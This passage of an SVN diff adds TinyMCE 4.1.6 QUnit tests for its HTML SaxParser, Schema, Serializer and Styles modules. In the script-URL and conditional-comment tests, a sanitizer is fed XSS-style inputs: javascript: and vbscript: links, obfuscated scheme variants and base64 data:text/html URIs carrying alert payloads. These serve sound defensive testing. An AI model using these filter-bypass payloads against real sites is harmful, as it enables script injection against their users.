+		equal(writer.getContent(), '<!DOCTYPE html>text1', 'Parse HTML5 DOCTYPE.');
+		deepEqual(counter.counts, {doctype:1, text:1}, 'Parse HTML5 DOCTYPE counts.');
+	});
+
+	test('Parse (validate)', function() {
+		var counter, parser;
+
+		expect(2);
+
+		counter = createCounter(writer);
+		counter.validate = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<invalid1>123<invalid2 />456<span title="title" invalid3="value">789</span>012</invalid1>');
+		equal(writer.getContent(), '123456<span title="title">789</span>012', 'Parse invalid elements and attributes.');
+		deepEqual(counter.counts, {start:1, end:1, text:4}, 'Parse invalid elements and attributes counts.');
+	});
+
+	test('Self closing', function() {
+		var counter, parser;
+
+		expect(1);
+
+		counter = createCounter(writer);
+		counter.validate = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<ul><li>1<li><b>2</b><li><em><b>3</b></em></ul>');
+		equal(writer.getContent(), '<ul><li>1</li><li><b>2</b></li><li><em><b>3</b></em></li></ul>', 'Parse list with self closing items.');
+	});
+
+	test('Preserve internal elements', function() {
+		var counter, parser, schema;
+
+		expect(2);
+
+		schema = new tinymce.html.Schema({valid_elements : 'b'});
+		counter = createCounter(writer);
+		counter.validate = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span id="id"><b>text</b></span><span id="id" data-mce-type="something"></span>');
+		equal(writer.getContent(), '<b>text</b><span id="id" data-mce-type="something"></span>', 'Preserve internal span element without any span schema rule.');
+
+		schema = new tinymce.html.Schema({valid_elements : 'b,span[class]'});
+		counter = createCounter(writer);
+		counter.validate = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span id="id" class="class"><b>text</b></span><span id="id" data-mce-type="something"></span>');
+		equal(writer.getContent(), '<span class="class"><b>text</b></span><span id="id" data-mce-type="something"></span>', 'Preserve internal span element with a span schema rule.');
+	});
+
+	test('Remove internal elements', function() {
+		var counter, parser, schema;
+
+		expect(2);
+
+		schema = new tinymce.html.Schema({valid_elements : 'b'});
+		counter = createCounter(writer);
+		counter.validate = true;
+		counter.remove_internals = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span id="id"><b>text</b></span><span id="id" data-mce-type="something"></span>');
+		equal(writer.getContent(), '<b>text</b>', 'Remove internal span element without any span schema rule.');
+
+		schema = new tinymce.html.Schema({valid_elements : 'b,span[class]'});
+		counter = createCounter(writer);
+		counter.validate = true;
+		counter.remove_internals = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<span id="id" class="class"><b>text</b></span><span id="id" data-mce-type="something"></span>');
+		equal(writer.getContent(), '<span class="class"><b>text</b></span>', 'Remove internal span element with a span schema rule.');
+
+		// Reset
+		counter.remove_internals = false;
+	});
+
+	test('Parse attr with backslash #5436', function() {
+		var counter, parser;
+
+		counter = createCounter(writer);
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<a title="\\" href="h">x</a>');
+		equal(writer.getContent(), '<a title="\\" href="h">x</a>');
+	});
+
+	test('Parse no attributes span before strong', function() {
+		var counter, parser;
+
+		counter = createCounter(writer);
+		counter.validate = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse('<p><span>A</span> <strong>B</strong></p>');
+		equal(writer.getContent(), '<p>A <strong>B</strong></p>');
+	});
+
+	test('Conditional comments (allowed)', function() {
+		var counter, parser;
+
+		counter = createCounter(writer);
+		counter.validate = false;
+		counter.allow_conditional_comments = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+
+		writer.reset();
+		parser.parse('<!--[if gte IE 4]>alert(1)<![endif]-->');
+		equal(writer.getContent(), '<!--[if gte IE 4]>alert(1)<![endif]-->');
+	});
+
+	test('Conditional comments (denied)', function() {
+		var counter, parser;
+
+		counter = createCounter(writer);
+		counter.validate = false;
+		counter.allow_conditional_comments = false;
+		parser = new tinymce.html.SaxParser(counter, schema);
+
+		writer.reset();
+		parser.parse('<!--[if gte IE 4]>alert(1)<![endif]-->');
+		equal(writer.getContent(), '<!-- [if gte IE 4]>alert(1)<![endif]-->');
+
+		writer.reset();
+		parser.parse('<!--[if !IE]>alert(1)<![endif]-->');
+		equal(writer.getContent(), '<!-- [if !IE]>alert(1)<![endif]-->');
+	});
+
+	test('Parse script urls (allowed)', function() {
+		var counter, parser;
+
+		counter = createCounter(writer);
+		counter.validate = false;
+		counter.allow_script_urls = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse(
+			'<a href="javascript:alert(1)">1</a>' +
+			'<a href=" 2 ">2</a>' +
+			'<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">3</a>'
+		);
+		equal(
+			writer.getContent(),
+			'<a href="javascript:alert(1)">1</a><a href=" 2 ">2</a>' +
+			'<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">3</a>'
+		);
+	});
+
+	test('Parse script urls (allowed html data uris)', function() {
+		var counter, parser;
+
+		counter = createCounter(writer);
+		counter.validate = false;
+		counter.allow_html_data_urls = true;
+		parser = new tinymce.html.SaxParser(counter, schema);
+		writer.reset();
+		parser.parse(
+			'<a href="javascript:alert(1)">1</a>' +
+			'<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">2</a>'
+		);
+		equal(
+			writer.getContent(),
+			'<a>1</a>' +
+			'<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">2</a>'
+		);
+	});
+
+	test('Parse script urls (denied)', function() {
+		var counter, parser;
+
+		counter = createCounter(writer);
+		counter.validate = false;
+		parser = new tinymce.html.SaxParser(counter, schema);
+
+		writer.reset();
+		parser.parse(
+			'<a href="jAvaScript:alert(1)">1</a>' +
+			'<a href="vbscript:alert(2)">2</a>' +
+			'<a href="java\u0000script:alert(3)">3</a>' +
+			'<a href="\njavascript:alert(4)">4</a>' +
+			'<a href="java\nscript:alert(5)">5</a>' +
+			'<a href="java\tscript:alert(6)">6</a>' +
+			'<a href="%6aavascript:alert(7)">7</a>' +
+			'<a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">8</a>' +
+			'<a href=" dAt%61: tExt/html  ; bAse64 , PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">9</a>' +
+			'<object data="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">10</object>' +
+			'<button formaction="javascript:alert(11)">11</button>' +
+			'<table background="javascript:alert(12)"><tr><tr>12</tr></tr></table>' +
+			'<a href="mhtml:13">13</a>' +
+			'<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7">' +
+			'<a href="%E3%82%AA%E3%83%BC%E3%83">Invalid url</a>'
+		);
+
+		equal(
+			writer.getContent(),
+			'<a>1</a><a>2</a><a>3</a><a>4</a><a>5</a><a>6</a><a>7</a><a>8</a><a>9</a>' +
+			'<object>10</object><button>11</button><table><tr></tr><tr>12</tr></table><a>13</a>' +
+			'<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" />' +
+			'<a href="%E3%82%AA%E3%83%BC%E3%83">Invalid url</a>'
+		);
+	});
+
+	test('Parse away bogus elements', function() {
+		function testBogusSaxParse(inputHtml, outputHtml, counters) {
+			var counter, parser;
+
+			counter = createCounter(writer);
+			counter.validate = true;
+			parser = new tinymce.html.SaxParser(counter, schema);
+			writer.reset();
+			parser.parse(inputHtml);
+			equal(writer.getContent(), outputHtml);
+			deepEqual(counter.counts, counters);
+		}
+
+		testBogusSaxParse('a<b data-mce-bogus="1">b</b>c', 'abc', {text: 3});
+		testBogusSaxParse('a<b data-mce-bogus="true">b</b>c', 'abc', {text: 3});
+		testBogusSaxParse('a<b data-mce-bogus="1"></b>c', 'ac', {text: 2});
+		testBogusSaxParse('a<b data-mce-bogus="all">b</b>c', 'ac', {text: 2});
+		testBogusSaxParse('a<b data-mce-bogus="all"><!-- x --><?xml?></b>c', 'ac', {text: 2});
+		testBogusSaxParse('a<b data-mce-bogus="all"><b>b</b></b>c', 'ac', {text: 2});
+		testBogusSaxParse('a<b data-mce-bogus="all"><br>b</b><b>c</b>', 'a<b>c</b>', {start: 1, end: 1, text: 2});
+		testBogusSaxParse('a<b data-mce-bogus="all"><img>b</b><b>c</b>', 'a<b>c</b>', {start: 1, end: 1, text: 2});
+		testBogusSaxParse('a<b data-mce-bogus="all"><b attr="x">b</b></b>c', 'ac', {text: 2});
+		testBogusSaxParse('a<b data-mce-bogus="all"></b>c', 'ac', {text: 2});
+		testBogusSaxParse('a<b data-mce-bogus="all"></b><b>c</b>', 'a<b>c</b>', {start: 1, end: 1, text:2});
+	});
+
+	test('findEndTag', function() {
+		function testFindEndTag(html, startIndex, expectedIndex) {
+			equal(tinymce.html.SaxParser.findEndTag(schema, html, startIndex), expectedIndex);
+		}
+
+		testFindEndTag('<b>', 3, 3);
+		testFindEndTag('<img>', 3, 3);
+		testFindEndTag('<b></b>', 3, 7);
+		testFindEndTag('<b><img></b>', 3, 12);
+		testFindEndTag('<b><!-- </b> --></b>', 3, 20);
+		testFindEndTag('<span><b><i>a<img>b</i><b>c</b></b></span>', 9, 35);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/Schema.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/Schema.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/Schema.js	(revision 33402)
@@ -0,0 +1,536 @@
+module("tinymce.html.Schema");
+
+test('Valid elements global rule', function() {
+	expect(1);
+
+	var schema = new tinymce.html.Schema({valid_elements: '@[id|style],img[src|-style]'});
+	deepEqual(schema.getElementRule('img'), {"attributes": {"id": {}, "src": {}}, "attributesOrder": ["id", "src"]});
+});
+
+test('Whildcard element rule', function() {
+	var schema;
+
+	expect(17);
+
+	schema = new tinymce.html.Schema({valid_elements: '*[id|class]'});
+	deepEqual(schema.getElementRule('b').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('b').attributesOrder, ["id", "class"]);
+
+	schema = new tinymce.html.Schema({valid_elements: 'b*[id|class]'});
+	deepEqual(schema.getElementRule('b').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('b').attributesOrder, ["id", "class"]);
+	deepEqual(schema.getElementRule('body').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('body').attributesOrder, ["id", "class"]);
+	equal(schema.getElementRule('img'), undefined);
+
+	schema = new tinymce.html.Schema({valid_elements: 'b?[id|class]'});
+	deepEqual(schema.getElementRule('b').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('b').attributesOrder, ["id", "class"]);
+	deepEqual(schema.getElementRule('bx').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('bx').attributesOrder, ["id", "class"]);
+	equal(schema.getElementRule('body'), undefined);
+
+	schema = new tinymce.html.Schema({valid_elements: 'b+[id|class]'});
+	deepEqual(schema.getElementRule('body').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('body').attributesOrder, ["id", "class"]);
+	deepEqual(schema.getElementRule('bx').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('bx').attributesOrder, ["id", "class"]);
+	equal(schema.getElementRule('b'), undefined);
+});
+
+test('Whildcard attribute rule', function() {
+	var schema;
+
+	expect(13);
+
+	schema = new tinymce.html.Schema({valid_elements: 'b[id|class|*]'});
+	deepEqual(schema.getElementRule('b').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('b').attributesOrder, ["id", "class"]);
+	ok(schema.getElementRule('b').attributePatterns[0].pattern.test('x'));
+
+	schema = new tinymce.html.Schema({valid_elements: 'b[id|class|x?]'});
+	deepEqual(schema.getElementRule('b').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('b').attributesOrder, ["id", "class"]);
+	ok(schema.getElementRule('b').attributePatterns[0].pattern.test('xy'));
+	ok(!schema.getElementRule('b').attributePatterns[0].pattern.test('xba'));
+	ok(!schema.getElementRule('b').attributePatterns[0].pattern.test('a'));
+
+	schema = new tinymce.html.Schema({valid_elements: 'b[id|class|x+]'});
+	deepEqual(schema.getElementRule('b').attributes, {"id": {}, "class": {} });
+	deepEqual(schema.getElementRule('b').attributesOrder, ["id", "class"]);
+	ok(!schema.getElementRule('b').attributePatterns[0].pattern.test('x'));
+	ok(schema.getElementRule('b').attributePatterns[0].pattern.test('xb'));
+	ok(schema.getElementRule('b').attributePatterns[0].pattern.test('xba'));
+});
+
+test('Valid attributes and attribute order', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema({valid_elements: 'div,a[href|title],b[title]'});
+	deepEqual(schema.getElementRule('div'), {"attributes": {}, "attributesOrder": []});
+	deepEqual(schema.getElementRule('a'), {"attributes": {"href": {}, "title": {}}, "attributesOrder": ["href", "title"]});
+	deepEqual(schema.getElementRule('b'), {"attributes": {"title": {}}, "attributesOrder": ["title"]});
+});
+
+test('Required any attributes', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema({valid_elements: 'a![id|style|href]'});
+	deepEqual(schema.getElementRule('a'), {"attributes": {"href": {}, "id": {}, "style": {}}, "attributesOrder": ["id", "style", "href"], "removeEmptyAttrs": true});
+});
+
+test('Required attributes', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema({valid_elements: 'a[!href|!name]'});
+	deepEqual(schema.getElementRule('a'), {"attributes": {"href": {"required": true}, "name": {"required": true}}, "attributesOrder": ["href", "name"], "attributesRequired": ["href", "name"]});
+});
+
+test('Default attribute values', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema({valid_elements: 'img[border=0]'});
+	deepEqual(schema.getElementRule('img'), {"attributes": {"border": {"defaultValue": "0"}}, "attributesOrder": ["border"], "attributesDefault": [{"name": "border", "value": "0"}]});
+});
+
+test('Forced attribute values', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema({valid_elements: 'img[border:0]'});
+	deepEqual(schema.getElementRule('img'), {"attributes": {"border": {"forcedValue": "0"}}, "attributesOrder": ["border"], "attributesForced": [{"name": "border", "value": "0"}]});
+});
+
+test('Required attribute values', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema({valid_elements: 'span[dir<ltr?rtl]'});
+	deepEqual(schema.getElementRule('span'), {"attributes": {"dir": {"validValues": {"rtl": {}, "ltr": {}}}}, "attributesOrder": ["dir"]});
+});
+
+test('Remove empty elements', function() {
+	var schema;
+
+	expect(2);
+
+	schema = new tinymce.html.Schema({valid_elements: '-span'});
+	deepEqual(schema.getElementRule('span'), {"attributes": {}, "attributesOrder": [], "removeEmpty": true});
+
+	schema = new tinymce.html.Schema({valid_elements: '#span'});
+	deepEqual(schema.getElementRule('span'), {"attributes": {}, "attributesOrder": [], "paddEmpty": true});
+});
+
+test('addValidElements', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema({valid_elements: '@[id|style],img[src|-style]'});
+	schema.addValidElements('b[class]');
+	deepEqual(schema.getElementRule('b'), {"attributes": {"id": {}, "style": {}, "class": {}}, "attributesOrder": ["id", "style", "class"]});
+});
+
+test('setValidElements', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema({valid_elements: '@[id|style],img[src|-style]'});
+	schema.setValidElements('b[class]');
+	equal(schema.getElementRule('img'), undefined);
+	deepEqual(schema.getElementRule('b'), {"attributes": {"class": {}}, "attributesOrder": ["class"]});
+
+	schema = new tinymce.html.Schema({valid_elements: 'img[src]'});
+	schema.setValidElements('@[id|style],img[src]');
+	deepEqual(schema.getElementRule('img'), {"attributes": {"id": {}, "style": {}, "src": {}}, "attributesOrder": ["id", "style", "src"]});
+});
+
+test('getBoolAttrs', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema();
+	deepEqual(schema.getBoolAttrs(), {
+		"CONTROLS": {}, "LOOP": {}, "AUTOPLAY": {}, "SELECTED": {}, "READONLY": {}, "NOWRAP": {},
+		"NOSHADE": {}, "NORESIZE": {}, "NOHREF": {}, "MULTIPLE": {}, "ISMAP": {}, "DISABLED": {}, "DEFER": {},
+		"DECLARE": {}, "COMPACT": {}, "CHECKED": {},
+		"allowfullscreen": {}, "controls": {}, "loop": {}, "autoplay": {}, "selected": {}, "readonly": {}, "mozallowfullscreen": {},
+		"nowrap": {}, "noshade": {}, "noresize": {}, "nohref": {}, "multiple": {}, "ismap": {}, "disabled": {}, "defer": {},
+		"declare": {}, "compact": {}, "checked": {}, "webkitallowfullscreen": {}
+	});
+});
+
+test('getBlockElements', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema();
+	deepEqual(schema.getBlockElements(), {
+		ASIDE: {}, HGROUP: {}, SECTION: {}, ARTICLE: {}, FOOTER: {}, HEADER: {},
+		ISINDEX: {}, MENU: {}, NOSCRIPT: {}, FIELDSET: {}, DIR: {}, DD: {}, DT: {},
+		DL: {}, CENTER: {}, BLOCKQUOTE: {}, CAPTION: {}, UL: {}, OL: {}, LI: {},
+		TD: {}, TR: {}, TH: {}, TFOOT: {}, THEAD: {}, TBODY: {}, TABLE: {}, FORM: {},
+		PRE: {}, ADDRESS: {}, DIV: {}, P: {}, HR: {}, H6: {}, H5: {}, H4: {}, H3: {},
+		H2: {}, H1: {}, NAV: {}, FIGURE: {}, DATALIST: {}, OPTGROUP: {}, OPTION: {}, SELECT: {},
+		aside: {}, hgroup: {}, section: {}, article: {}, footer: {}, header: {},
+		isindex: {}, menu: {}, noscript: {}, fieldset: {}, dir: {}, dd: {}, dt: {}, dl: {}, center: {},
+		blockquote: {}, caption: {}, ul: {}, ol: {}, li: {}, td: {}, tr: {}, th: {}, tfoot: {}, thead: {},
+		tbody: {}, table: {}, form: {}, pre: {}, address: {}, div: {}, p: {}, hr: {}, h6: {},
+		h5: {}, h4: {}, h3: {}, h2: {}, h1: {}, nav: {}, figure: {}, datalist: {}, optgroup: {},
+		option: {}, select: {}
+	});
+});
+
+test('getShortEndedElements', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema();
+	deepEqual(schema.getShortEndedElements(), {
+		"EMBED": {}, "PARAM": {}, "META": {}, "LINK": {}, "ISINDEX": {},
+		"INPUT": {}, "IMG": {}, "HR": {}, "FRAME": {}, "COL": {}, "BR": {},
+		"BASEFONT": {}, "BASE": {}, "AREA": {}, "SOURCE" : {}, "WBR" : {}, "TRACK" : {},
+		"embed": {}, "param": {}, "meta": {}, "link": {}, "isindex": {},
+		"input": {}, "img": {}, "hr": {}, "frame": {}, "col": {}, "br": {},
+		"basefont": {}, "base": {}, "area": {}, "source" : {}, "wbr" : {}, "track" : {}
+	});
+});
+
+test('getNonEmptyElements', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema();
+	deepEqual(schema.getNonEmptyElements(), {
+		"EMBED": {}, "PARAM": {}, "META": {}, "LINK": {}, "ISINDEX": {},
+		"INPUT": {}, "IMG": {}, "HR": {}, "FRAME": {}, "COL": {}, "BR": {},
+		"BASEFONT": {}, "BASE": {}, "AREA": {}, "SOURCE" : {},
+		"TD": {}, "TH": {}, "IFRAME": {}, "VIDEO": {}, "AUDIO": {}, "OBJECT": {}, "WBR": {}, "TRACK" : {}, "SCRIPT" : {},
+		"embed": {}, "param": {}, "meta": {}, "link": {}, "isindex": {},
+		"input": {}, "img": {}, "hr": {}, "frame": {}, "col": {}, "br": {},
+		"basefont": {}, "base": {}, "area": {}, "source" : {},
+		"td": {}, "th": {}, "iframe": {}, "video": {}, "audio": {}, "object": {}, "wbr" : {}, "track" : {},  "script" : {}
+	});
+});
+
+test('getWhiteSpaceElements', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema();
+	deepEqual(schema.getWhiteSpaceElements(), {
+		"IFRAME": {}, "NOSCRIPT": {}, "OBJECT": {}, "PRE": {},
+		"SCRIPT": {}, "STYLE": {}, "TEXTAREA": {}, "VIDEO": {}, "AUDIO": {},
+		"iframe": {}, "noscript": {}, "object": {}, "pre": {},
+		"script": {}, "style": {}, "textarea": {}, "video": {}, "audio": {}
+	});
+});
+
+test('getTextBlockElements', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema();
+	deepEqual(schema.getTextBlockElements(), {
+		"ADDRESS": {}, "ARTICLE": {}, "ASIDE": {}, "BLOCKQUOTE": {}, "CENTER": {}, "DIR": {}, "DIV": {}, "FIELDSET": {}, "FIGURE": {}, "FOOTER": {}, "FORM": {},
+		"H1": {}, "H2": {}, "H3": {}, "H4": {}, "H5": {}, "H6": {}, "HEADER": {}, "HGROUP": {}, "NAV": {}, "P": {}, "PRE": {}, "SECTION": {},
+		"address": {}, "article": {}, "aside": {}, "blockquote": {}, "center": {}, "dir": {}, "div": {}, "fieldset": {}, "figure": {}, "footer": {}, "form": {},
+		"h1": {}, "h2": {}, "h3": {}, "h4": {}, "h5": {}, "h6": {}, "header": {}, "hgroup": {}, "nav": {}, "p": {}, "pre": {}, "section": {}
+	});
+});
+
+test('getTextInlineElements', function() {
+	var schema;
+
+	expect(1);
+
+	schema = new tinymce.html.Schema();
+	deepEqual(schema.getTextInlineElements(), {
+		"B": {}, "CITE": {}, "CODE": {}, "DFN": {},	"EM": {}, "FONT": {}, "I": {}, "MARK": {}, "Q": {},
+		"SAMP": {}, "SPAN": {}, "STRIKE": {}, "STRONG": {}, "SUB": {}, "SUP": {}, "U": {}, "VAR": {},
+		"b": {}, "cite": {}, "code": {}, "dfn": {}, "em": {}, "font": {}, "i": {}, "mark": {}, "q": {},
+		"samp": {}, "span": {}, "strike": {}, "strong": {}, "sub": {}, "sup": {}, "u": {}, "var": {}
+	});
+});
+
+test('isValidChild', function() {
+	var schema;
+
+	expect(4);
+
+	schema = new tinymce.html.Schema();
+	ok(schema.isValidChild('body', 'p'));
+	ok(schema.isValidChild('p', 'img'));
+	ok(!schema.isValidChild('body', 'body'));
+	ok(!schema.isValidChild('p', 'body'));
+});
+
+test('getElementRule', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema();
+	ok(schema.getElementRule('b'));
+	ok(!schema.getElementRule('bx'));
+	ok(!schema.getElementRule(null));
+});
+
+test('addCustomElements', function() {
+	var schema;
+
+	expect(5);
+
+	schema = new tinymce.html.Schema({valid_elements:'inline,block'});
+	schema.addCustomElements('~inline,block');
+	ok(schema.getElementRule('inline'));
+	ok(schema.getElementRule('block'));
+	ok(schema.isValidChild('body', 'block'));
+	ok(schema.isValidChild('block', 'inline'));
+	ok(schema.isValidChild('p', 'inline'));
+});
+
+test('addValidChildren', function() {
+	var schema;
+
+	expect(7);
+
+	schema = new tinymce.html.Schema();
+	ok(schema.isValidChild('body', 'p'));
+	ok(!schema.isValidChild('body', 'body'));
+	ok(!schema.isValidChild('body', 'html'));
+	schema.addValidChildren('+body[body|html]');
+	ok(schema.isValidChild('body', 'body'));
+	ok(schema.isValidChild('body', 'html'));
+
+	schema = new tinymce.html.Schema();
+	ok(schema.isValidChild('body', 'p'));
+	schema.addValidChildren('-body[p]');
+	ok(!schema.isValidChild('body', 'p'));
+});
+
+test('addCustomElements/getCustomElements', function() {
+	var schema;
+
+	expect(4);
+
+	schema = new tinymce.html.Schema();
+	schema.addCustomElements('~inline,block');
+	ok(schema.getBlockElements().block);
+	ok(!schema.getBlockElements().inline);
+	ok(schema.getCustomElements().inline);
+	ok(schema.getCustomElements().block);
+});
+
+test('whitespaceElements', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema({whitespace_elements : 'pre,p'});
+	ok(schema.getWhiteSpaceElements().pre);
+	ok(!schema.getWhiteSpaceElements().span);
+
+	schema = new tinymce.html.Schema({whitespace_elements : 'code'});
+	ok(schema.getWhiteSpaceElements().code);
+});
+
+test('selfClosingElements', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema({self_closing_elements : 'pre,p'});
+	ok(schema.getSelfClosingElements().pre);
+	ok(schema.getSelfClosingElements().p);
+	ok(!schema.getSelfClosingElements().li);
+});
+
+test('shortEndedElements', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema({short_ended_elements : 'pre,p'});
+	ok(schema.getShortEndedElements().pre);
+	ok(schema.getShortEndedElements().p);
+	ok(!schema.getShortEndedElements().img);
+});
+
+test('booleanAttributes', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema({boolean_attributes : 'href,alt'});
+	ok(schema.getBoolAttrs().href);
+	ok(schema.getBoolAttrs().alt);
+	ok(!schema.getBoolAttrs().checked);
+});
+
+test('nonEmptyElements', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema({non_empty_elements : 'pre,p'});
+	ok(schema.getNonEmptyElements().pre);
+	ok(schema.getNonEmptyElements().p);
+	ok(!schema.getNonEmptyElements().img);
+});
+
+test('blockElements', function() {
+	var schema;
+
+	expect(3);
+
+	schema = new tinymce.html.Schema({block_elements : 'pre,p'});
+	ok(schema.getBlockElements().pre);
+	ok(schema.getBlockElements().p);
+	ok(!schema.getBlockElements().h1);
+});
+
+test('isValid', function() {
+	var schema;
+
+	schema = new tinymce.html.Schema({valid_elements : 'a[href],i[*]'});
+
+	ok(schema.isValid('a'));
+	ok(schema.isValid('a', 'href'));
+	ok(!schema.isValid('b'));
+	ok(!schema.isValid('b', 'href'));
+	ok(!schema.isValid('a', 'id'));
+	ok(schema.isValid('i'));
+	ok(schema.isValid('i', 'id'));
+});
+
+test('validStyles', function() {
+	var schema;
+
+	schema = new tinymce.html.Schema({valid_styles: 'color,font-size'});
+	deepEqual(schema.getValidStyles(), {
+		"*": [
+			"color",
+			"font-size"
+		]
+	});
+
+	schema = new tinymce.html.Schema({valid_styles: 'color font-size'});
+	deepEqual(schema.getValidStyles(), {
+		"*": [
+			"color",
+			"font-size"
+		]
+	});
+
+	schema = new tinymce.html.Schema({
+		valid_styles: {
+			'*': 'color font-size',
+			'a': 'background font-family'
+		}
+	});
+	deepEqual(schema.getValidStyles(), {
+		"*": [
+			"color",
+			"font-size"
+		],
+
+		"a": [
+			"background",
+			"font-family"
+		]
+	});
+});
+
+test('invalidStyles', function() {
+	var schema;
+
+	schema = new tinymce.html.Schema({invalid_styles: 'color,font-size'});
+	deepEqual(schema.getInvalidStyles(), {
+		'*': {
+			'color': {},
+			'font-size': {}
+		}
+	});
+
+	schema = new tinymce.html.Schema({invalid_styles: 'color font-size'});
+	deepEqual(schema.getInvalidStyles(), {
+		'*': {
+			'color': {},
+			'font-size': {}
+		}
+	});
+
+	schema = new tinymce.html.Schema({
+		invalid_styles: {
+			'*': 'color font-size',
+			'a': 'background font-family'
+		}
+	});
+	deepEqual(schema.getInvalidStyles(), {
+		'*': {
+			'color': {},
+			'font-size': {}
+		},
+
+		'a': {
+			'background': {},
+			'font-family': {}
+		}
+	});
+});
+
+test('validClasses', function() {
+	var schema;
+
+	schema = new tinymce.html.Schema({valid_classes: 'classA,classB'});
+	deepEqual(schema.getValidClasses(), {
+		'*': {
+			'classA': {},
+			'classB': {}
+		}
+	});
+
+	schema = new tinymce.html.Schema({valid_classes: 'classA classB'});
+	deepEqual(schema.getValidClasses(), {
+		'*': {
+			'classA': {},
+			'classB': {}
+		}
+	});
+
+	schema = new tinymce.html.Schema({
+		valid_classes: {
+			'*': 'classA classB',
+			'a': 'classC classD'
+		}
+	});
+	deepEqual(schema.getValidClasses(), {
+		'*': {
+			'classA': {},
+			'classB': {}
+		},
+
+		'a': {
+			'classC': {},
+			'classD': {}
+		}
+	});
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/Serializer.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/Serializer.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/Serializer.js	(revision 33402)
@@ -0,0 +1,22 @@
+module("tinymce.html.Serializer");
+
+test('Basic serialization', function() {
+	var serializer = new tinymce.html.Serializer();
+
+	expect(6);
+
+	equal(serializer.serialize(new tinymce.html.DomParser().parse('text<text&')), 'text&lt;text&amp;');
+	equal(serializer.serialize(new tinymce.html.DomParser().parse('<B>text</B><IMG src="1.gif">')), '<strong>text</strong><img src="1.gif" alt="" />');
+	equal(serializer.serialize(new tinymce.html.DomParser().parse('<!-- comment -->')), '<!-- comment -->');
+	equal(serializer.serialize(new tinymce.html.DomParser().parse('<![CDATA[cdata]]>')), '<![CDATA[cdata]]>');
+	equal(serializer.serialize(new tinymce.html.DomParser().parse('<?xml attr="value" ?>')), '<?xml attr="value" ?>');
+	equal(serializer.serialize(new tinymce.html.DomParser().parse('<!DOCTYPE html>')), '<!DOCTYPE html>');
+});
+
+test('Sorting of attributes', function() {
+	var serializer = new tinymce.html.Serializer();
+
+	expect(1);
+
+	equal(serializer.serialize(new tinymce.html.DomParser().parse('<b class="class" id="id">x</b>')), '<strong id="id" class="class">x</strong>');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/html/Styles.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/html/Styles.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/html/Styles.js	(revision 33402)
@@ -0,0 +1,163 @@
+module("tinymce.html.Styles");
+
+test('Basic parsing/serializing', function() {
+	var styles = new tinymce.html.Styles();
+
+	expect(11);
